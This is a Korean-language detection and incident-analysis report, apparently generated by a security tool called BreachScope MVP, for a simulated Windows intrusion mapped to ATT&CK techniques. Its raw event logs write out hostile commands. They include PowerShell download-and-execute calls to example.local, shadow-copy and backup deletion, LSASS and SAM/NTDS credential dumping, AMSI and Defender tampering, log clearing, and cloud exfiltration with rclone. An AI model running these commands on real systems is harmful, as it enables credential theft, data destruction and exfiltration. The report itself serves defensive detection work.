medium Suspicious Web Download T1105 2026-01-15T09:06:00+00:00 WS-101 powershell.exe IEX ([REDACTED]).DownloadString('https://example.local/bootstrap.txt') powershell.exe IEX ([REDACTED]).DownloadString('https://example.local/
세부 보기
룰 설명: Suspicious Web Download
ATT&CK: T1105
매치 값: Net.WebClient
원본 커맨드: powershell.exe IEX ([REDACTED]).DownloadString('https://example.local/bootstrap.txt')
high PowerShell DownloadString Execution T1059.001 2026-01-15T09:06:00+00:00 WS-101 powershell.exe IEX ([REDACTED]).DownloadString('https://example.local/bootstrap.txt') hell.exe IEX ([REDACTED]).DownloadString('https://example.local/bootstrap.txt')
세부 보기
룰 설명: PowerShell DownloadString Execution
ATT&CK: T1059.001
매치 값: DownloadString(
원본 커맨드: powershell.exe IEX ([REDACTED]).DownloadString('https://example.local/bootstrap.txt')
medium PowerShell Invoke-Expression T1059.001 2026-01-15T09:06:00+00:00 WS-101 powershell.exe IEX ([REDACTED]).DownloadString('https://example.local/bootstrap.txt') powershell.exe IEX ([REDACTED]).DownloadStrin
세부 보기
룰 설명: PowerShell Invoke-Expression
ATT&CK: T1059.001
매치 값: IEX
원본 커맨드: powershell.exe IEX ([REDACTED]).DownloadString('https://example.local/bootstrap.txt')
high Microsoft Defender Disable Attempt T1562.001 2026-01-15T09:20:00+00:00 FS-01 Set-MpPreference -[BASE64...REDACTED] $true Set-MpPreference -[BASE64...REDACTED] $true
세부 보기
룰 설명: Microsoft Defender Disable Attempt
ATT&CK: T1562.001
매치 값: Set-MpPreference -[BASE64...REDACTED] $true
원본 커맨드: Set-MpPreference -[BASE64...REDACTED] $true
high Recovery Inhibition T1490 2026-01-15T09:22:00+00:00 FS-01 vssadmin delete shadows /all /quiet vssadmin delete shadows /all /quiet
세부 보기
룰 설명: Recovery Inhibition
ATT&CK: T1490
매치 값: vssadmin delete shadows
원본 커맨드: vssadmin delete shadows /all /quiet
critical Ransomware Shadow Copy Removal Variant T1490 2026-01-15T09:22:00+00:00 FS-01 vssadmin delete shadows /all /quiet vssadmin delete shadows /all /quiet
세부 보기
룰 설명: Ransomware Shadow Copy Removal Variant
ATT&CK: T1490
매치 값: delete shadows /all /quiet
원본 커맨드: vssadmin delete shadows /all /quiet
high Recovery Inhibition T1490 2026-01-15T09:24:00+00:00 FS-01 wbadmin delete catalog -quiet wbadmin delete catalog -quiet
세부 보기
룰 설명: Recovery Inhibition
ATT&CK: T1490
매치 값: wbadmin delete catalog
원본 커맨드: wbadmin delete catalog -quiet
critical Ransomware Shadow Copy Removal Variant T1490 2026-01-15T09:24:00+00:00 FS-01 wbadmin delete catalog -quiet wbadmin delete catalog -quiet
세부 보기
룰 설명: Ransomware Shadow Copy Removal Variant
ATT&CK: T1490
매치 값: delete catalog -quiet
원본 커맨드: wbadmin delete catalog -quiet
high Recovery Inhibition T1490 2026-01-15T09:26:00+00:00 FS-01 bcdedit /set recoveryenabled no bcdedit /set recoveryenabled no
세부 보기
룰 설명: Recovery Inhibition
ATT&CK: T1490
매치 값: bcdedit /set recoveryenabled no
원본 커맨드: bcdedit /set recoveryenabled no
high Windows Event Log Clear T1070.001 2026-01-15T09:30:00+00:00 FS-01 wevtutil cl Security wevtutil cl Security
세부 보기
룰 설명: Windows Event Log Clear
ATT&CK: T1070.001
매치 값: wevtutil cl
원본 커맨드: wevtutil cl Security
medium Browser Credential Store Access T1555.003 2026-01-15T10:40:00+00:00 WS-701 cmd.exe /c dir "C:\Users\designer\AppData\Local\Google\Chrome\User Data\Default\Login Data" a\Local\Google\Chrome\User Data\Default\Login Data"
세부 보기
룰 설명: Browser Credential Store Access
ATT&CK: T1555.003
매치 값: Login Data
원본 커맨드: cmd.exe /c dir "C:\Users\designer\AppData\Local\Google\Chrome\User Data\Default\Login Data"
low Clipboard Data Access T1115 2026-01-15T10:42:00+00:00 WS-701 powershell.exe Get-Clipboard powershell.exe Get-Clipboard
세부 보기
룰 설명: Clipboard Data Access
ATT&CK: T1115
매치 값: Get-Clipboard
원본 커맨드: powershell.exe Get-Clipboard
medium Screen Capture T1113 2026-01-15T10:44:00+00:00 WS-701 powershell.exe Add-Type -AssemblyName System.Drawing; Graphics.CopyFromScreen(0,0,0,0,0) -AssemblyName System.Drawing; Graphics.CopyFromScreen(0,0,0,0,0)
세부 보기
룰 설명: Screen Capture
ATT&CK: T1113
매치 값: CopyFromScreen
원본 커맨드: powershell.exe Add-Type -AssemblyName System.Drawing; Graphics.CopyFromScreen(0,0,0,0,0)
low Archive Collected Files T1560.001 2026-01-15T10:46:00+00:00 WS-701 Compress-Archive C:\Users\designer\Documents C:\Temp\documents.zip Compress-Archive C:\Users\designer\Documents C:\Temp\doc
세부 보기
룰 설명: Archive Collected Files
ATT&CK: T1560.001
매치 값: Compress-Archive
원본 커맨드: Compress-Archive C:\Users\designer\Documents C:\Temp\documents.zip

호스트 요약

Host Count
WS-301 8
FS-02 4
SRV-DC01 5
WS-601 4
WS-201 1
WS-202 1
WS-203 2
WS-401 7
WS-501 4
WS-101 7
FS-01 7
WS-701 4

인터랙티브 타임라인

High
Medium
Low
Info

시간 요약(시간 단위)

Hour Count
2026-01-15 09:00 34
2026-01-15 10:00 20

ATT&CK 요약

Technique Name Count
T1087.001 Account Discovery: Local Account 2
T1482 Domain Trust Discovery 1
T1135 Network Share Discovery 1
T1018 Remote System Discovery 1
T1087.002 Account Discovery: Domain Account 1
T1057 Process Discovery 1
T1518.001 Software Discovery: Security Software Discovery 1
T1560.001 Archive Collected Data: Archive via Utility 2
T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage 2
T1105 Ingress Tool Transfer 3
T1003.001 OS Credential Dumping: LSASS Memory 2
T1003.002 OS Credential Dumping: Security Account Manager 2
T1003.003 OS Credential Dumping: NTDS 1
T1562.001 Impair Defenses: Disable or Modify Tools 3
T1562.002 Impair Defenses: Disable Windows Event Logging 1
T1562.004 Impair Defenses: Disable or Modify System Firewall 1
T1021.006 Remote Services: Windows Remote Management 1
T1569.002 System Services: Service Execution 1
T1543.003 Create or Modify System Process: Windows Service 3
T1047 Windows Management Instrumentation 1
T1218.005 System Binary Proxy Execution: Mshta 1
T1218.011 System Binary Proxy Execution: Rundll32 1
T1218.010 System Binary Proxy Execution: Regsvr32 1
T1218.003 System Binary Proxy Execution: CMSTP 1
T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild 1
T1218.004 System Binary Proxy Execution: InstallUtil 1
T1202 Indirect Command Execution 1
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys/Startup Folder 1
T1053.005 Scheduled Task/Job: Scheduled Task 1
T1059.001 Command and Scripting Interpreter: PowerShell 5
T1490 Inhibit System Recovery 5
T1070.001 Indicator Removal: Clear Windows Event Logs 1
T1555.003 Credentials from Password Stores: Credentials from Web Browsers 1
T1115 Clipboard Data 1
T1113 Screen Capture 1

이벤트 체인 분석

총 체인 수: 12

평균 신뢰도: 0.92

체인 내 총 이벤트 수: 48

체인 타입개수
download_exec 1
activity 11

상세 체인 목록

chain_1_download_exec - download_exec (신뢰도: 0.98)

설명: 웹 다운로드 후 실행 파일 실행

시작: 2026-01-15T09:04:00+00:00 | 종료: 2026-01-15T09:06:00+00:00

이벤트 수: 2 | 탐지 수: 4

이벤트 상세 (2개)
시간호스트소스명령
2026-01-15T09:04:00+00:00 WS-101 ProcessCreate powershell.exe [REDACTED] https://example.local/stage1.ps1 -OutFile C:\ProgramData\stage1.ps1
2026-01-15T09:06:00+00:00 WS-101 ProcessCreate powershell.exe IEX ([REDACTED]).DownloadString('https://example.local/bootstrap.txt')

activity_1 - activity (신뢰도: 1.00)

설명: 동일 호스트/사용자의 30분 이내 활동 묶음

시작: 2026-01-15T09:20:00+00:00 | 종료: 2026-01-15T09:30:00+00:00

이벤트 수: 5 | 탐지 수: 7

이벤트 상세 (5개)
시간호스트소스명령
2026-01-15T09:20:00+00:00 FS-01 ProcessCreate Set-MpPreference -[BASE64...REDACTED] $true
2026-01-15T09:22:00+00:00 FS-01 ProcessCreate vssadmin delete shadows /all /quiet
2026-01-15T09:24:00+00:00 FS-01 ProcessCreate wbadmin delete catalog -quiet
2026-01-15T09:26:00+00:00 FS-01 ProcessCreate bcdedit /set recoveryenabled no
2026-01-15T09:30:00+00:00 FS-01 ProcessCreate wevtutil cl Security

activity_2 - activity (신뢰도: 1.00)

설명: 동일 호스트/사용자의 30분 이내 활동 묶음

시작: 2026-01-15T10:10:00+00:00 | 종료: 2026-01-15T10:16:00+00:00

이벤트 수: 4 | 탐지 수: 4

이벤트 상세 (4개)
시간호스트소스명령
2026-01-15T10:10:00+00:00 FS-02 ProcessCreate 7z a C:\Temp\finance_archive.7z C:\Shares\Finance\*.xlsx
2026-01-15T10:12:00+00:00 FS-02 ProcessCreate rclone copy C:\Temp\finance_archive.7z remote:incident-demo --log-file C:\Temp\rclone.log
2026-01-15T10:14:00+00:00 FS-02 ProcessCreate mega-put C:\Temp\finance_archive.7z /Root/demo
2026-01-15T10:16:00+00:00 FS-02 ProcessCreate [REDACTED] https://example.local/checkin?id=192.168.10.55&[BASE64...REDACTED]

activity_3 - activity (신뢰도: 0.84)

설명: 동일 호스트/사용자의 30분 이내 활동 묶음

시작: 2026-01-15T09:16:00+00:00 | 종료: 2026-01-15T09:18:00+00:00

이벤트 수: 2 | 탐지 수: 2

이벤트 상세 (2개)
시간호스트소스명령
2026-01-15T09:16:00+00:00 SRV-DC01 ProcessCreate ntdsutil ifm create full C:\Temp\ifm-simulated
2026-01-15T09:18:00+00:00 SRV-DC01 ProcessCreate reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /d 1

activity_4 - activity (신뢰도: 1.00)

설명: 동일 호스트/사용자의 30분 이내 활동 묶음

시작: 2026-01-15T09:10:00+00:00 | 종료: 2026-01-15T09:13:00+00:00

이벤트 수: 3 | 탐지 수: 3

이벤트 상세 (3개)
시간호스트소스명령
2026-01-15T09:10:00+00:00 SRV-DC01 ProcessCreate procdump -ma lsass.exe C:\Temp\lsass_simulated.dmp
2026-01-15T09:12:00+00:00 SRV-DC01 ProcessCreate reg save HKLM\SAM C:\Temp\sam.save
2026-01-15T09:13:00+00:00 SRV-DC01 ProcessCreate reg save HKLM\SYSTEM C:\Temp\system.save

activity_5 - activity (신뢰도: 1.00)

설명: 동일 호스트/사용자의 30분 이내 활동 묶음

시작: 2026-01-15T09:00:00+00:00 | 종료: 2026-01-15T09:06:00+00:00

이벤트 수: 4 | 탐지 수: 7

이벤트 상세 (4개)
시간호스트소스명령
2026-01-15T09:00:00+00:00 WS-101 ProcessCreate powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command Write-Output SIMULATE
2026-01-15T09:02:00+00:00 WS-101 ProcessCreate powershell.exe [REDACTED] [BASE64...REDACTED]
2026-01-15T09:04:00+00:00 WS-101 ProcessCreate powershell.exe [REDACTED] https://example.local/stage1.ps1 -OutFile C:\ProgramData\stage1.ps1
2026-01-15T09:06:00+00:00 WS-101 ProcessCreate powershell.exe IEX ([REDACTED]).DownloadString('https://example.local/bootstrap.txt')

activity_6 - activity (신뢰도: 0.59)

설명: 동일 호스트/사용자의 30분 이내 활동 묶음

시작: 2026-01-15T09:39:00+00:00 | 종료: 2026-01-15T09:41:00+00:00

이벤트 수: 2 | 탐지 수: 2

이벤트 상세 (2개)
시간호스트소스명령
2026-01-15T09:39:00+00:00 WS-203 ProcessCreate sc.exe create UpdateSvc binPath= C:\ProgramData\update-sim.exe
2026-01-15T09:41:00+00:00 WS-203 ProcessCreate wmic process call create "cmd.exe /c echo lateral-movement-demo"

activity_7 - activity (신뢰도: 1.00)

설명: 동일 호스트/사용자의 30분 이내 활동 묶음

시작: 2026-01-15T09:45:00+00:00 | 종료: 2026-01-15T09:51:00+00:00

이벤트 수: 7 | 탐지 수: 8

이벤트 상세 (7개)
시간호스트소스명령
2026-01-15T09:45:00+00:00 WS-301 ProcessCreate whoami /all
2026-01-15T09:46:00+00:00 WS-301 ProcessCreate nltest /domain_trusts
2026-01-15T09:47:00+00:00 WS-301 ProcessCreate net view /domain
2026-01-15T09:48:00+00:00 WS-301 ProcessCreate nslookup _ldap._tcp.dc._msdcs.example.local
2026-01-15T09:49:00+00:00 WS-301 ProcessCreate adfind -f objectcategory=person
2026-01-15T09:50:00+00:00 WS-301 ProcessCreate tasklist /svc
2026-01-15T09:51:00+00:00 WS-301 ProcessCreate Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct

activity_8 - activity (신뢰도: 1.00)

설명: 동일 호스트/사용자의 30분 이내 활동 묶음

시작: 2026-01-15T09:55:00+00:00 | 종료: 2026-01-15T10:07:00+00:00

이벤트 수: 7 | 탐지 수: 7

이벤트 상세 (7개)
시간호스트소스명령
2026-01-15T09:55:00+00:00 WS-401 ProcessCreate mshta http://example.local/demo.hta
2026-01-15T09:57:00+00:00 WS-401 ProcessCreate rundll32.exe javascript:SIMULATED
2026-01-15T09:59:00+00:00 WS-401 ProcessCreate regsvr32 /s /n /u /i:http://example.local/demo.sct scrobj.dll
2026-01-15T10:01:00+00:00 WS-401 ProcessCreate cmstp.exe /s C:\Temp\demo.inf
2026-01-15T10:03:00+00:00 WS-401 ProcessCreate msbuild.exe C:\Temp\demo.proj /target:Build
2026-01-15T10:05:00+00:00 WS-401 ProcessCreate installutil.exe /logfile= /u C:\Temp\demo.dll
2026-01-15T10:07:00+00:00 WS-401 ProcessCreate forfiles /p C:\Windows /m notepad.exe /c cmd /c echo SIMULATED

activity_9 - activity (신뢰도: 0.81)

설명: 동일 호스트/사용자의 30분 이내 활동 묶음

시작: 2026-01-15T10:20:00+00:00 | 종료: 2026-01-15T10:26:00+00:00

이벤트 수: 4 | 탐지 수: 4

이벤트 상세 (4개)
시간호스트소스명령
2026-01-15T10:20:00+00:00 WS-501 ProcessCreate reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v DemoUpdater /d C:\ProgramData\demo-upd
2026-01-15T10:22:00+00:00 WS-501 ProcessCreate schtasks /create /tn DemoUpdater /tr C:\ProgramData\demo-updater.exe /sc minute /mo 30
2026-01-15T10:24:00+00:00 WS-501 ProcessCreate sc create DemoUpdater binPath= C:\ProgramData\demo-updater.exe
2026-01-15T10:26:00+00:00 WS-501 ProcessCreate New-Service -Name DemoSvc -BinaryPathName C:\ProgramData\demo-svc.exe

activity_10 - activity (신뢰도: 1.00)

설명: 동일 호스트/사용자의 30분 이내 활동 묶음

시작: 2026-01-15T10:30:00+00:00 | 종료: 2026-01-15T10:36:00+00:00

이벤트 수: 4 | 탐지 수: 4

이벤트 상세 (4개)
시간호스트소스명령
2026-01-15T10:30:00+00:00 WS-601 ProcessCreate powershell.exe [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
2026-01-15T10:32:00+00:00 WS-601 ProcessCreate auditpol /set /success:disable /failure:disable
2026-01-15T10:34:00+00:00 WS-601 ProcessCreate netsh advfirewall firewall add rule name=Demo dir=in action=allow protocol=TCP localport=4444
2026-01-15T10:36:00+00:00 WS-601 ProcessCreate Add-MpPreference -ExclusionPath C:\Temp

activity_11 - activity (신뢰도: 0.81)

설명: 동일 호스트/사용자의 30분 이내 활동 묶음

시작: 2026-01-15T10:40:00+00:00 | 종료: 2026-01-15T10:46:00+00:00

이벤트 수: 4 | 탐지 수: 4

이벤트 상세 (4개)
시간호스트소스명령
2026-01-15T10:40:00+00:00 WS-701 ProcessCreate cmd.exe /c dir "C:\Users\designer\AppData\Local\Google\Chrome\User Data\Default\Login Data"
2026-01-15T10:42:00+00:00 WS-701 ProcessCreate powershell.exe Get-Clipboard
2026-01-15T10:44:00+00:00 WS-701 ProcessCreate powershell.exe Add-Type -AssemblyName System.Drawing; Graphics.CopyFromScreen(0,0,0,0,0)
2026-01-15T10:46:00+00:00 WS-701 ProcessCreate Compress-Archive C:\Users\designer\Documents C:\Temp\documents.zip

공격 시나리오 추론

총 시나리오 수: 6

평균 신뢰도: 0.79

고유 MITRE 기법 수: 6

공격 단계개수
execution 2
lateral_movement 1
persistence 3

상세 시나리오 목록

웹 다운로드 및 실행 (신뢰도: 0.60)

시나리오 ID: scope_5bf306f7b6c2bbd0_scenario_chain_download_0

공격 단계: execution

설명: 웹에서 파일을 다운로드한 후 실행한 활동

관련 MITRE 기법: T1059.001 T1105

연관 체인 수: 1

연관 체인 상세
chain_1_download_exec - download_exec
웹 다운로드 후 실행 파일 실행

WMI를 통한 측면 이동 (신뢰도: 0.74)

시나리오 ID: scope_5842930ae7fbcadd_scenario_1_wmi_lateral

공격 단계: lateral_movement

설명: WMI를 이용한 원격 시스템에서의 프로세스 실행

관련 MITRE 기법: T1047

연관 체인 수: 1

연관 체인 상세
activity_6 - activity
동일 호스트/사용자의 30분 이내 활동 묶음

서비스 생성 및 실행 (신뢰도: 0.74)

시나리오 ID: scope_5842930ae7fbcadd_scenario_2_service_creation

공격 단계: persistence

설명: Windows 서비스 생성을 통한 영구성 및 실행

관련 MITRE 기법: T1543.003

연관 체인 수: 1

연관 체인 상세
activity_6 - activity
동일 호스트/사용자의 30분 이내 활동 묶음

레지스트리 영구성 설정 (신뢰도: 0.88)

시나리오 ID: scope_91503828c10265d6_scenario_1_registry_persistence

공격 단계: persistence

설명: 레지스트리 Run/RunOnce 키를 통한 자동 실행 설정

관련 MITRE 기법: T1053.005 T1547.001

연관 체인 수: 1

연관 체인 상세
activity_9 - activity
동일 호스트/사용자의 30분 이내 활동 묶음

스케줄된 작업을 통한 실행 (신뢰도: 0.88)

시나리오 ID: scope_91503828c10265d6_scenario_2_scheduled_task_execution

공격 단계: execution

설명: 스케줄된 작업 생성 및 실행을 통한 공격

관련 MITRE 기법: T1053.005 T1547.001

연관 체인 수: 1

연관 체인 상세
activity_9 - activity
동일 호스트/사용자의 30분 이내 활동 묶음

서비스 생성 및 실행 (신뢰도: 0.88)

시나리오 ID: scope_91503828c10265d6_scenario_3_service_creation

공격 단계: persistence

설명: Windows 서비스 생성을 통한 영구성 및 실행

관련 MITRE 기법: T1547.001 T1543.003

연관 체인 수: 1

연관 체인 상세
activity_9 - activity
동일 호스트/사용자의 30분 이내 활동 묶음

원시 이벤트 (샘플)

Time Host Source EventID Command
2026-01-15T09:45:00+00:00 WS-301 ProcessCreate 4688 whoami /all
2026-01-15T09:46:00+00:00 WS-301 ProcessCreate 4688 nltest /domain_trusts
2026-01-15T09:47:00+00:00 WS-301 ProcessCreate 4688 net view /domain
2026-01-15T09:48:00+00:00 WS-301 ProcessCreate 4688 nslookup _ldap._tcp.dc._msdcs.example.local
2026-01-15T09:49:00+00:00 WS-301 ProcessCreate 4688 adfind -f objectcategory=person
2026-01-15T09:50:00+00:00 WS-301 ProcessCreate 4688 tasklist /svc
2026-01-15T09:51:00+00:00 WS-301 ProcessCreate 4688 Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
2026-01-15T10:10:00+00:00 FS-02 ProcessCreate 4688 7z a C:\Temp\finance_archive.7z C:\Shares\Finance\*.xlsx
2026-01-15T10:12:00+00:00 FS-02 ProcessCreate 4688 rclone copy C:\Temp\finance_archive.7z remote:incident-demo --log-file C:\Temp\rclone.log
2026-01-15T10:14:00+00:00 FS-02 ProcessCreate 4688 mega-put C:\Temp\finance_archive.7z /Root/demo
2026-01-15T10:16:00+00:00 FS-02 ProcessCreate 4688 [REDACTED] https://example.local/checkin?id=192.168.10.55&[BASE64...REDACTED]
2026-01-15T09:10:00+00:00 SRV-DC01 ProcessCreate 4688 procdump -ma lsass.exe C:\Temp\lsass_simulated.dmp
2026-01-15T09:12:00+00:00 SRV-DC01 ProcessCreate 4688 reg save HKLM\SAM C:\Temp\sam.save
2026-01-15T09:13:00+00:00 SRV-DC01 ProcessCreate 4688 reg save HKLM\SYSTEM C:\Temp\system.save
2026-01-15T09:16:00+00:00 SRV-DC01 ProcessCreate 4688 ntdsutil ifm create full C:\Temp\ifm-simulated
2026-01-15T09:18:00+00:00 SRV-DC01 ProcessCreate 4688 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /d 1
2026-01-15T10:30:00+00:00 WS-601 ProcessCreate 4688 powershell.exe [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
2026-01-15T10:32:00+00:00 WS-601 ProcessCreate 4688 auditpol /set /success:disable /failure:disable
2026-01-15T10:34:00+00:00 WS-601 ProcessCreate 4688 netsh advfirewall firewall add rule name=Demo dir=in action=allow protocol=TCP localport=4444
2026-01-15T10:36:00+00:00 WS-601 ProcessCreate 4688 Add-MpPreference -ExclusionPath C:\Temp
2026-01-15T09:35:00+00:00 WS-201 ProcessCreate 4688 Enter-PSSession -ComputerName WS-202
2026-01-15T09:37:00+00:00 WS-202 ProcessCreate 4688 psexec \\WS-203 -s cmd /c echo SIMULATED > C:\Temp\psexesvc.log
2026-01-15T09:39:00+00:00 WS-203 ProcessCreate 4688 sc.exe create UpdateSvc binPath= C:\ProgramData\update-sim.exe
2026-01-15T09:41:00+00:00 WS-203 ProcessCreate 4688 wmic process call create "cmd.exe /c echo lateral-movement-demo"
2026-01-15T09:55:00+00:00 WS-401 ProcessCreate 4688 mshta http://example.local/demo.hta
2026-01-15T09:57:00+00:00 WS-401 ProcessCreate 4688 rundll32.exe javascript:SIMULATED
2026-01-15T09:59:00+00:00 WS-401 ProcessCreate 4688 regsvr32 /s /n /u /i:http://example.local/demo.sct scrobj.dll
2026-01-15T10:01:00+00:00 WS-401 ProcessCreate 4688 cmstp.exe /s C:\Temp\demo.inf
2026-01-15T10:03:00+00:00 WS-401 ProcessCreate 4688 msbuild.exe C:\Temp\demo.proj /target:Build
2026-01-15T10:05:00+00:00 WS-401 ProcessCreate 4688 installutil.exe /logfile= /u C:\Temp\demo.dll
2026-01-15T10:07:00+00:00 WS-401 ProcessCreate 4688 forfiles /p C:\Windows /m notepad.exe /c cmd /c echo SIMULATED
2026-01-15T10:20:00+00:00 WS-501 ProcessCreate 4688 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v DemoUpdater /d C:\ProgramData\demo-updater.exe
2026-01-15T10:22:00+00:00 WS-501 ProcessCreate 4688 schtasks /create /tn DemoUpdater /tr C:\ProgramData\demo-updater.exe /sc minute /mo 30
2026-01-15T10:24:00+00:00 WS-501 ProcessCreate 4688 sc create DemoUpdater binPath= C:\ProgramData\demo-updater.exe
2026-01-15T10:26:00+00:00 WS-501 ProcessCreate 4688 New-Service -Name DemoSvc -BinaryPathName C:\ProgramData\demo-svc.exe
2026-01-15T09:00:00+00:00 WS-101 ProcessCreate 4688 powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command Write-Output SIMULATED
2026-01-15T09:02:00+00:00 WS-101 ProcessCreate 4688 powershell.exe [REDACTED] [BASE64...REDACTED]
2026-01-15T09:04:00+00:00 WS-101 ProcessCreate 4688 powershell.exe [REDACTED] https://example.local/stage1.ps1 -OutFile C:\ProgramData\stage1.ps1
2026-01-15T09:06:00+00:00 WS-101 ProcessCreate 4688 powershell.exe IEX ([REDACTED]).DownloadString('https://example.local/bootstrap.txt')
2026-01-15T09:20:00+00:00 FS-01 ProcessCreate 4688 Set-MpPreference -[BASE64...REDACTED] $true
2026-01-15T09:22:00+00:00 FS-01 ProcessCreate 4688 vssadmin delete shadows /all /quiet
2026-01-15T09:24:00+00:00 FS-01 ProcessCreate 4688 wbadmin delete catalog -quiet
2026-01-15T09:26:00+00:00 FS-01 ProcessCreate 4688 bcdedit /set recoveryenabled no
2026-01-15T09:30:00+00:00 FS-01 ProcessCreate 4688 wevtutil cl Security
2026-01-15T10:40:00+00:00 WS-701 ProcessCreate 4688 cmd.exe /c dir "C:\Users\designer\AppData\Local\Google\Chrome\User Data\Default\Login Data"
2026-01-15T10:42:00+00:00 WS-701 ProcessCreate 4688 powershell.exe Get-Clipboard
2026-01-15T10:44:00+00:00 WS-701 ProcessCreate 4688 powershell.exe Add-Type -AssemblyName System.Drawing; Graphics.CopyFromScreen(0,0,0,0,0)
2026-01-15T10:46:00+00:00 WS-701 ProcessCreate 4688 Compress-Archive C:\Users\designer\Documents C:\Temp\documents.zip

Generated by BreachScope MVP · ZIP 패키지에는 manifest.json과 산출물 SHA-256 해시가 포함됩니다.